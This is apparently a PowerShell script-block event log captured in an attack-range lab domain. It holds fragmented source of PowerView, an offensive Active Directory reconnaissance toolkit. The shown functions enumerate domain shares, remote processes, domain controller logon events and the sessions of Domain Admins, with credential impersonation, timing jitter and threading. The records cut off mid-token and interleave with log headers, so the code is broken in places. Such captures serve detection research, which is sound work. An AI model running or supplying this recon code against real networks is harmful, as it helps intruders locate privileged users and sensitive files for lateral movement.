[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
# $Remark = $Share.Remark
$Path = '\\'+$TargetComputer+'\'+$ShareName
if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-InterestingDomainShareFile {
<#
.SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. It will then use Find-InterestingFile on each
readhable share, searching for files marching specific criteria. If -Credential
is passed, then Invoke-UserImpersonation is used to impersonate the specified
user before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER SharePath
Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
.PARAMETER ExcludedShares
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-InterestingDomainShareFile
Finds 'interesting' files on the current domain.
.EXAMPLE
Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
Finds 'interesting' files on readable shares on the specified systems.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object Sysb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110304Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3541undParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -orb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110303Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3441erArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
